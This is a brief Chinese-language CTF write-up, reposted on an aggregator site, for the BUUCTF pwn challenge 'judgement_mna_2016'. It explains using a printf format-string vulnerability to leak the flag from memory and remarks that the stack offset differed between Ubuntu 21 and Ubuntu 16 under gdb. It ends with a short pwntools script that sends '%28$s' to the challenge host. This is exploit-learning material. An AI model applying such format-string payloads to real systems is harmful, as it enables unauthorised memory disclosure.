這題本身比較簡單，但是增強了一絲絲漏洞意識

看到flag在文中又看到printf顯然想到格式化字符串漏洞泄露內存，，，
關鍵是計算偏移：這里我再次分別利用ubuntu21 和ubuntu 16都gdb調試了一下，發現ubuntu21的調試偏移計算結果不一樣，，，，，離譜之。

from pwn import* p=remote('node4.buuoj.cn',28336) payload="%28$s" p.sendlineafter("flag >>",payload) p.interactive()

總結

以上是生活随笔為你收集整理的BUUCTF之“judgement_mna_2016”的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。